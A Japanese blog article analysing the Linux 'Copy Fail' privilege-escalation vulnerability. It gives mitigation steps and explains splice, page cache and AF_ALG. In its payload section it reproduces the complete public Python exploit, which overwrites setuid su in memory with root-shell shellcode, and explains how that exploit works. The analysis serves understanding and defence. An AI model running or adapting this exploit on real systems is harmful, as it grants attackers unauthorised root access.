11
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Copy Fail とは?(結構詳しめ)

11
Posted at

要約

Copy Fail(CVE-2026-31431) という脆弱性が報告されました。

  • Linux にて簡単に特権昇格(root権限でコマンドの実行が出来るようになる)が出来る脆弱性
  • 2017 年以降にリリースされた全ての Linux ディストリビューションが対象とされています
  • Linux カーネルを最新のものに変更することで脆弱性の対処が可能です。難しい場合、seccomp 経由の AF_ALG ソケットの作成をブロックするか、algif-aead モジュールを無効化しましょう。
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null

概要

splice コマンドにより AF_ALG ソケットへ実行ファイルの流し込みを行うことで、カーネル空間上に悪意のあるコマンドが書き込まれているページキャッシュへのポインタが AF_ALG に含まれてしまいます。

この注入を終えた後、authencesn という暗号化アルゴリズムでは、データのシャッフルの際、一時領域として確保していない 4byte の overwrite が発生しています。
この 4 byte の overwrite は通常問題になりませんが、splice を用いることで上記のページキャッシュ(カーネル領域)に合致させることが可能です。

splice とは

splice コマンドは通常、file descriptor 間のデータのやり取りをパイプを用いて直接行うためのものです。

例えば、通常はファイルからデータを読み取り、その内容をそのまま他のファイルへ書き込むためには下記のようなコードを書くことが想定されます(生成 AI に雑に書かせていて、実際の動作を検証していません)

#include <stdio.h>
#include <stdlib.h>

int main() {
    FILE *fp_in, *fp_out;
    char buf[4096];
    size_t n;

    // 入力ファイルを読み込みモードでオープン
    fp_in = fopen("input.txt", "rb");
    if (fp_in == NULL) {
        perror("input.txt を開けませんでした");
        return EXIT_FAILURE;
    }

    // 出力ファイルを書き込みモードでオープン
    fp_out = fopen("output.txt", "wb");
    if (fp_out == NULL) {
        perror("output.txt を作成できませんでした");
        fclose(fp_in);
        return EXIT_FAILURE;
    }

    // 4096バイトずつ読み込み、読み込めた分だけ書き出すループ
    // fread は読み込んだ要素数を返すため、それが 0 になるまで繰り返します
    while ((n = fread(buf, 1, sizeof(buf), fp_in)) > 0) {
        if (fwrite(buf, 1, n, fp_out) < n) {
            perror("書き込み中にエラーが発生しました");
            break;
        }
    }

    // ファイルをクローズ
    fclose(fp_in);
    fclose(fp_out);

    printf("コピーが完了しました。\n");

    return EXIT_SUCCESS;
}

このような形で、ユーザー空間にバッファーを用意します。プロセス内でメモリを使う訳ですね。splice を用いることで効率化けが出来ます。試しに、input.txt からデータを読み取り、それを stdout へ出力するプログラムを作成しましょう。

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

int main() {
    int fd_in = open("input.txt", O_RDONLY);
    if (fd_in < 0) {
        perror("open input.txt");
        return 1;
    }

    // spliceは一方がパイプである必要があるため、パイプを作成
    int pipefd[2];
    if (pipe(pipefd) < 0) {
        perror("pipe");
        return 1;
    }

    // 1. ファイル -> パイプ (ページキャッシュの参照がパイプへ)
    ssize_t spliced = splice(fd_in, NULL, pipefd[1], NULL, 4096, SPLICE_F_MOVE);
    if (spliced < 0) {
        perror("splice 1");
        return 1;
    }

    // 2. パイプ -> 標準出力 (実際の出力)
    // Copy Failでは、ここで標準出力ではなく AF_ALG ソケットに流し込みます
    if (splice(pipefd[0], NULL, STDOUT_FILENO, NULL, spliced, SPLICE_F_MOVE) < 0) {
        perror("splice 2");
        return 1;
    }

    close(fd_in);
    close(pipefd[0]);
    close(pipefd[1]);
    return 0;
}

途中で作成しているパイプについては、こちらの記事を見ると良いと思います。

splice の詳細な仕様は下記に記載されています。

バッファーを用いるコードでは下記のような流れでコピーが行われます。

  1. ディスクから、カーネルがファイルを読み込む(ページキャッシュ)
  2. fread により、ページキャッシュからユーザー空間上のバッファーへデータのコピーが行われる
  3. 2のバッファーから fwrite により、カーネル空間上の書き込み用領域へ再度データのコピーが行われる
  4. カーネルがデータの書き出しを行う

splice を用いることで、2, 3 は省略され、1 → 4 もデータのコピーではなく「ページキャッシュへの参照」のやり取りを行います。そのため、データのコピーが一切発生しません。

AF_ALG とは

AF_ALG は Kernel Crypto API で、本来はユーザー空間からカーネルが持つ高速な暗号化エンジンを利用するための仕組みです。
AES-CBC モードでの暗号化を例に紹介します。

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main() {
    int tfmfd, opfd;
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type = "skcipher", // 共通鍵暗号(対称鍵)を指定
        .salg_name = "cbc(aes)"  // アルゴリズムを指定
    };

    // 1. AF_ALG ソケットの作成
    tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa));

    // 2. 暗号鍵の設定 (例: 16バイトの "secretpassword12")
    unsigned char key[16] = "secretpassword12";
    setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, 16);

    // 3. リクエストソケットの作成(実際の処理用)
    opfd = accept(tfmfd, NULL, 0);

    // 4. IV (初期化ベクトル) と暗号化フラグの設定
    unsigned char iv[16] = {0}; // 本来はランダムな値が必要
    // ALG_SET_IV の data は struct af_alg_iv { __u32 ivlen; __u8 iv[]; } 形式
    char cbuf[CMSG_SPACE(sizeof(__u32)) +
              CMSG_SPACE(sizeof(struct af_alg_iv) + sizeof(iv))];
    struct msghdr msg = {0};
    struct cmsghdr *cmsg;

    msg.msg_control = cbuf;
    msg.msg_controllen = sizeof(cbuf);

    // 暗号化(ALG_OP_ENCRYPT)を指定
    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_OP;
    cmsg->cmsg_len = CMSG_LEN(sizeof(__u32)); // ← 設定必須
    *((__u32 *)CMSG_DATA(cmsg)) = ALG_OP_ENCRYPT;

    // IVをセット
    cmsg = CMSG_NXTHDR(&msg, cmsg); // cmsg_len が正しくないと NULL になる
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_IV;
    cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + sizeof(iv));
    struct af_alg_iv *alg_iv = (struct af_alg_iv *)CMSG_DATA(cmsg);
    alg_iv->ivlen = sizeof(iv);
    memcpy(alg_iv->iv, iv, sizeof(iv));

    // 5. データの送信(ユーザーメモリからカーネルへコピーされる)
    struct iovec iov;
    char plaintext[] = "Hello AF_ALG!!!"; // 16バイト境界に合わせる必要あり
    iov.iov_base = plaintext;
    iov.iov_len = 16;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    sendmsg(opfd, &msg, 0);

    // 6. 暗号化結果の受け取り
    char ciphertext[16];
    read(opfd, ciphertext, 16);

    printf("Encrypted data received successfully.\n");
    for (int i = 0; i < 16; i++) {
      printf("%08x ", ciphertext[i]);
    }
    printf("\n");

    close(opfd);
    close(tfmfd);
    return 0;
}

実行結果:

$ ./a.out
Encrypted data received successfully.
ffffffa6 ffffffcb 0000002c 00000078 0000004f ffffffc3 ffffffd5 00000034 ffffffce ffffff9b 00000038 ffffffa4 00000046 ffffffc6 00000045 0000007b

この結果生成された暗号文から、(各文字先頭の6文字を取り除く必要があるのですが)平文は復元可能です。

スクリーンショット 2026-05-01 002203.png

payload の解説

配布されているペイロードは下記の通りです。

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

c(f, t, c) 関数は引数の c をauthencesnのペイロード(overwriteする部分)として、実際に f のページキャッシュ領域に書き込みを行う関数です。中に "authencesn(hmac(sha256),cbc(aes))"r,w=g.pipe();n=g.splice; といった処理が見受けられます。

78da... から始まる箇所はシェルコードです。解読結果は下記においておきます。

中身としては setuid(0)execve("/bin/sh", NULL, NULL)exit(0) のみです。
これが c(f, t, c) のペイロード部分 c として渡されます。

このシェルコードは通常であれば実行しても setuid(0) にて権限不足で弾かれるはずです。

ただし、上記の payload ではこのシェルコードを /usr/bin/su を読み込んだメモリ上(ページキャッシュ上)冒頭に書き込んでいます。結果として、su コマンドが上記のシェルコードに一時的に置き換わります。

ls -l /usr/bin/su の結果には -rwsr-xr-x 1 root root という表記があり、rws と SUID が記録されています。誰であっても root 権限で実行される(通常はパスワードなどの認証が求められるはずだが、今回はシェルコードに書き換えられている)ので、root が取れるようです。

11
5
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
11
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?